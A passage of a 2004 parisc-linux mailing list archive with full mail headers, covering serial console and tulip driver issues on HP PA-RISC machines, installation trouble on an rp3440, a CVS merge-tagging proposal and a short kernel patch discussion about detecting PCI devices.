List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24991

Hello pa*,

The serial console loop pb seems to be fixed for the 2 model b180 and n4k=
:
b180:
[...]
Generic RTC Driver v1.07
serio: GSC PS/2 keyboard port at 0xffd08000 irq 69 @ 8:16:7
serio: GSC PS/2 mouse port at 0xffd08100 irq 69 @ 8:16:8
Serial: 8250/16550 driver $Revision: 1.90 $ 13 ports, IRQ sharing enabled=

ttyS0 at MMIO 0xffd05800 (irq =3D 90) is a 16550A
ttyS1 at MMIO 0xfff83800 (irq =3D 106) is a 16550A
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xffd02800, irq 88 [PCSPP,TRISTATE]
lp0: using parport0 (interrupt-driven).
io scheduler noop registered
io scheduler anticipatory registered
io scheduler deadline registered
io scheduler cfq registered
loop: loaded (max 8 devices)
PPP generic driver version 2.4.2
[...]

n4k: (handy notes)
[...]
Serial: 8250/16550 driver $Revision: 1.90...
ttyS0 at MMIO 0xffffffff80000000 (irq=3D132) is a 16550A
ttyS0 at MMIO 0xffffffff80000008 (irq=3D132) is a 16450
ttyS0 at MMIO 0xffffffff80000010 (irq=3D132) is a 16550A
ttyS0 at MMIO 0xffffffff80000038 (irq=3D132) is a 16550A
io scheduler noop registered
io scheduler anticipatory registered
io scheduler deadline registered
io scheduler cfq registered
[...]

Thanks for all,
    Joel


-------------------------------------------------------------------------=
--
Tiscali ADSL GO & Light, 2 mois gratuits, profitez-en...
http://reg.tiscali.be/adsl/welcome.asp?lg=3DFR




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.9-bk6-pa4:Tuip driver broken on n4k
Date: Wed, 27 Oct 2004 12:26:25 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <41617480000075DF@mail-4-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624500 26369 80.91.229.3 (22 Nov 2014 02:48:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:20 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 29012 invoked by uid 65534); 27 Oct 2004 10:27:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx015) with SMTP; 27 Oct 2004 12:27:05 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 515523BDFC; Wed, 27 Oct 2004 04:26:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05040-07; Wed, 27 Oct 2004 04:26:53 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 486D93BE2D; Wed, 27 Oct 2004 04:26:35 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 06B843BDFC
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Oct 2004 04:26:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 05092-05 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Oct 2004 04:26:29 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 9FDE53BDDD
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Oct 2004 04:26:28 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 408F74949A3; Wed, 27 Oct 2004 04:26:28 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mrq-2.tiscalinet.it (mrq-2.tiscalinet.it [212.123.84.72])
	by palinux.hppa (Postfix) with ESMTP id 85D5E4949A2
	for <parisc-linux@parisc-linux.org>;
	Wed, 27 Oct 2004 04:26:27 -0600 (MDT)
Original-Received: from mail-4-bnl.tiscali.it (10.39.115.134) by mrq-2.tiscalinet.it
	(7.0.028) id 4137280B00195154 for parisc-linux@parisc-linux.org;
	Wed, 27 Oct 2004 12:31:06 +0200
Original-Received: from [57.67.177.33] by mail-4-bnl.tiscali.it with HTTP;
	Wed, 27 Oct 2004 12:26:25 +0200
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24992

Hello pa,

Unfortunately, the tulip driver seems to be broken on this n4k:
the boot sequence start fine until message:
Linux Tulip driver version 1.1.13 (May 11, 2002)

then system panic
(unfortunately I don't have any way to grab pimfo on this system)

Any idea?

TIA,
    Joel


-------------------------------------------------------------------------=
--
Tiscali ADSL GO & Light, 2 mois gratuits, profitez-en...
http://reg.tiscali.be/adsl/welcome.asp?lg=3DFR




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Troubles with console on HP9000 rp3440
Date: Wed, 27 Oct 2004 13:57:46 -0600
Lines: 48
Approved: news@gmane.org
Message-ID: <20041027195746.GC25418@colo.lackof.org>
References: <200410271322.QAA23840@mail.nek.bg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624500 26371 80.91.229.3 (22 Nov 2014 02:48:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:20 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Dimitar Atanasov <d.atanasov@nek.bg>
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 14248 invoked by uid 65534); 27 Oct 2004 19:58:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx010) with SMTP; 27 Oct 2004 21:58:40 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D608D3BD42; Wed, 27 Oct 2004 13:58:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11204-07; Wed, 27 Oct 2004 13:58:23 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1BDEA3BDFC; Wed, 27 Oct 2004 13:57:59 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A90043BDDA
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Oct 2004 13:57:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 11251-04 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Oct 2004 13:57:50 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id E3CE33BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Oct 2004 13:57:49 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 6E6EE494A36; Wed, 27 Oct 2004 13:57:49 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id B341B49454B
	for <parisc-linux@parisc-linux.org>;
	Wed, 27 Oct 2004 13:57:48 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 6859E298121; Wed, 27 Oct 2004 13:57:47 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26249-02; Wed, 27 Oct 2004 13:57:46 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 807F12980B2; Wed, 27 Oct 2004 13:57:46 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200410271322.QAA23840@mail.nek.bg>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24993

On Wed, Oct 27, 2004 at 04:22:34PM +0300, Dimitar Atanasov wrote:
> Hello Pa-Risc!
> I try to install linux on HP 9000 rp 3440.

Support for pa8800 machines isn't fully functional yet.
"make -j2" segfaults withing a minute or so. I haven't tried
again recently.
Unless you intend on debugging TLB/Cache probles, it's best
to stick with HPUX for now.

>  I connect to console over null
> modem cable, and I start the install from the boot cd.

Which boot cd? Where did it come from?

The only installer that has a chance of working is if
debian-installer uses a recent 2.6 kernel (since May, 2004) *or* has
the pa8800/ZX1 chipset support backported to 2.4 kernel.

hth,
grant

>  But I lost the
> output. The installation says that the output is on ttyS0 but I can't find
> it. I search all com ports and other consoles but I didn't see anything
> anywhere.
> Please help if you have any ideas.
> I have read the manual but I have no such things on my console commands, or
> may be I didn't understand the procedure.
> 
> 
> 
> Regards,
> Dimitar Atanasov
> NEK EAD.
> 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A more frequent merge methodology
Date: Thu, 28 Oct 2004 16:22:43 +0100
Lines: 58
Approved: news@gmane.org
Message-ID: <20041028152243.GB10769@parcelfarce.linux.theplanet.co.uk>
References: <20041021181110.GG16153@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624500 26374 80.91.229.3 (22 Nov 2014 02:48:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:20 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 4877 invoked by uid 65534); 28 Oct 2004 15:23:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx034) with SMTP; 28 Oct 2004 17:23:41 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A54643BDDA; Thu, 28 Oct 2004 09:23:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22924-08; Thu, 28 Oct 2004 09:23:18 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 38B723BDDD; Thu, 28 Oct 2004 09:22:56 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7D0543BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Oct 2004 09:22:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 22924-05 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Oct 2004 09:22:47 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id BD58D3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Oct 2004 09:22:46 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id D6830494ABD; Thu, 28 Oct 2004 09:22:45 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252]) by palinux.hppa (Postfix) with ESMTP id 0D725494ABC
	for <parisc-linux@parisc-linux.org>;
	Thu, 28 Oct 2004 09:22:44 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1CNC6t-0005aD-EA; Thu, 28 Oct 2004 16:22:43 +0100
Content-Disposition: inline
In-Reply-To: <20041021181110.GG16153@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24994

On Thu, Oct 21, 2004 at 07:11:10PM +0100, Matthew Wilcox wrote:
> It's been clear to me for a while that we need more regular merges
> with Linus' tree.  Part of the fault for that is with me -- I don't
> send patches to Linus as fast as I could [1].  Another part of the fault
> is with our process.  We only merge full releases and -rc releases.
> So, after some awk hacking (thanks to Paul Bame) and a bit of thinking,
> I'd like to use a more development-oriented process.

Neither Paul nor I have been able to come up with an acceptable fix for the
unforseen problems that -rcN-bkM-paQ would encounter.  But I'm not entirely
willing to give up on more frequent merges.  Here's my current thinking,
using Makefile as an example:

-- current --
CVS2_6_9_BK6_PA7: 1.280
LINUS_2_6_10_RC1: 1.280.2
linus: 1.280.2.1
CVS2_6_10_RC1_PA0: 1.281
CVS2_6_10_RC1_PA1: 1.283

-- future --
LINUS_2_6_10_RC1_BK6: 1.283.2.1
CVS2_6_10_RC1_BK6_PA0: 1.283.2.2
CVS2_6_10_RC1_PA2: 1.284
LINUS_2_6_10_RC2: 1.284.2
CVS2_6_10_RC2_PA0: 1.285
CVS2_6_10_RC2_PA1: 1.286
CVS2_6_10_RC2_PA2: 1.287
LINUS_2_6_10_RC2_BK3: 1.287.2.1
CVS2_6_10_RC2_BK3_PA0: 1.287.2.2

ie create a branch tag at the current top of tree, but then merge the
PA work onto that branch rather than merge the contents of that branch
back onto mainline.  Development work continues on mainline and my need
for more frequent merges doesn't have to impinge on anyone else's needs.

So what's the point in committing these bits to CVS?  After all, I
could as well do the merge in my own private tree and not commit it back.
I think it's useful for other people to catch merge errors that I miss ;-)
and it helps us cherry-pick patches from -bk snapshots which fix problems.

I'll probably move a couple of tags around -- perhaps parisc-bk and linus-bk

Comments?

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg KH <greg@kroah.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: How to determine whether a device is PCI or not
Date: Fri, 29 Oct 2004 19:37:18 -0700
Lines: 38
Approved: news@gmane.org
Message-ID: <20041030023718.GA1099@kroah.com>
References: <20041027121955.GH3450@parcelfarce.linux.theplanet.co.uk>
	<416174800000772D@mail-4-bnl.tiscali.it>
	<20041027141522.GK3450@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624500 26384 80.91.229.3 (22 Nov 2014 02:48:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:20 +0000 (UTC)
Cc: linux-pci@atrey.karlin.mff.cuni.cz,
 parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 11585 invoked by uid 65534); 30 Oct 2004 15:31:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx049) with SMTP; 30 Oct 2004 17:31:02 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 19D1D3BD42; Sat, 30 Oct 2004 09:30:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15874-08; Sat, 30 Oct 2004 09:30:38 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 88BAC3BDFD; Sat, 30 Oct 2004 09:29:57 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B62E73BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 30 Oct 2004 09:29:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 16843-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 30 Oct 2004 09:29:49 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 569953BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 30 Oct 2004 09:29:49 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 95DF1494AC2; Sat, 30 Oct 2004 09:29:48 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from perch.kroah.org (mail.kroah.org [69.55.234.183])
	by palinux.hppa (Postfix) with ESMTP id CAA60494187
	for <parisc-linux@parisc-linux.org>;
	Sat, 30 Oct 2004 09:29:47 -0600 (MDT)
Original-Received: from [192.168.0.10] (c-67-171-180-138.client.comcast.net
	[67.171.180.138]) (authenticated)
	by perch.kroah.org (8.11.6/8.11.6) with ESMTP id i9UFTOG00749;
	Sat, 30 Oct 2004 08:29:24 -0700
Original-Received: from greg by echidna.kroah.org with local (masqmail 0.2.19)
	id 1CNj7H-0I2-00; Fri, 29 Oct 2004 19:37:19 -0700
Content-Disposition: inline
In-Reply-To: <20041027141522.GK3450@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.5.6i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24995

On Wed, Oct 27, 2004 at 03:15:22PM +0100, Matthew Wilcox wrote:
> On Wed, Oct 27, 2004 at 03:32:16PM +0200, Joel Soete wrote:
> >  	while (dev != &root) {
> > +#ifdef CONFIG_PCI
> >  		if (dev->bus == &pci_bus_type) {
> >  			unsigned int devfn = to_pci_dev(dev)->devfn;
> >  			path->bc[i--] = PCI_SLOT(devfn) | (PCI_FUNC(devfn)<< 5);
> >  		} else if (dev->bus == &parisc_bus_type) {
> > +#else
> > +		if (dev->bus == &parisc_bus_type) {
> > +#endif
> >  			path->bc[i--] = to_parisc_device(dev)->hw_path;
> >  		}
> >  		dev = dev->parent;
> 
> The problem here is that pci_bus_type is declared inside an #ifdef
> CONFIG_PCI.  What we *actually* want to know is "is this device a
> pci_dev?"  and this isn't the best way to ask this question.  How about
> we add exactly that question to <linux/pci.h>, something like:

Ick, no.  Devices do not "show" their type, you have to explicitly know
what type they are in order to use them.

Why are you wanting to know this?  What are you trying to do with a
generic struct device * where you don't know exactly what type it is?

thanks,

greg k-h

p.s. bonus points to the first person who finds in the kernel where I
myself have violated the second sentance in this response :)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: How to determine whether a device is PCI or not
Date: Sat, 30 Oct 2004 16:40:07 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <20041030154007.GI8958@parcelfarce.linux.theplanet.co.uk>
References: <20041027121955.GH3450@parcelfarce.linux.theplanet.co.uk>
	<416174800000772D@mail-4-bnl.tiscali.it>
	<20041027141522.GK3450@parcelfarce.linux.theplanet.co.uk>
	<20041030023718.GA1099@kroah.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624501 26394 80.91.229.3 (22 Nov 2014 02:48:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:21 +0000 (UTC)
Cc: linux-pci@atrey.karlin.mff.cuni.cz,
 parisc-linux@parisc-linux.org,
 Matthew Wilcox <matthew@wil.cx>
To: Greg KH <greg@kroah.com>
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 6299 invoked by uid 65534); 30 Oct 2004 15:40:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx031) with SMTP; 30 Oct 2004 17:40:55 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
